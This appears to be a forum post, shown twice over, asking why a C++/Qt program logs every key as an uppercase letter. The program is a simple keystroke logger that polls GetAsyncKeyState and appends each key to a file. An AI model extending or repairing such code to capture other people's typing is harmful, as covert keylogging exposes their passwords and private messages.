davinciomare
26th September 2016, 10:32
The code.
void MainWindow::escucharTeclas()
{
/** Esta función comprueba que teclas hay pulsadas y las guarda en un archivo **/
char num;
num = comprobarTeclas();
if(num>=32)
{
log.open(QFile::Append);
cadenaa.append(num);
log.write(cadenaa);
cadenaa.clear();
log.close();
}
if(num==13){
log.open(QFile::Append);
log.write("\n");
log.close();
}
}
This return the key of num.
short comprobarTeclas()
{
short i = 0;
for(i = 0; i < 255; i++){
if(GetAsyncKeyState(i) == -32767)
return i;
}
return 0;
}
But when write something, only write me with uppercase all letters. I do this: Listen the keys, then return the key belong and then write. But only write me upper letters. Thanks in advance;
void MainWindow::escucharTeclas()
{
/** Esta función comprueba que teclas hay pulsadas y las guarda en un archivo **/
char num;
num = comprobarTeclas();
if(num>=32)
{
log.open(QFile::Append);
cadenaa.append(num);
log.write(cadenaa);
cadenaa.clear();
log.close();
}
if(num==13){
log.open(QFile::Append);
log.write("\n");
log.close();
}
}
This return the key of num.
short comprobarTeclas()
{
short i = 0;
for(i = 0; i < 255; i++){
if(GetAsyncKeyState(i) == -32767)
return i;
}
return 0;
}
But when write something, only write me with uppercase all letters. I do this: Listen the keys, then return the key belong and then write. But only write me upper letters. Thanks in advance;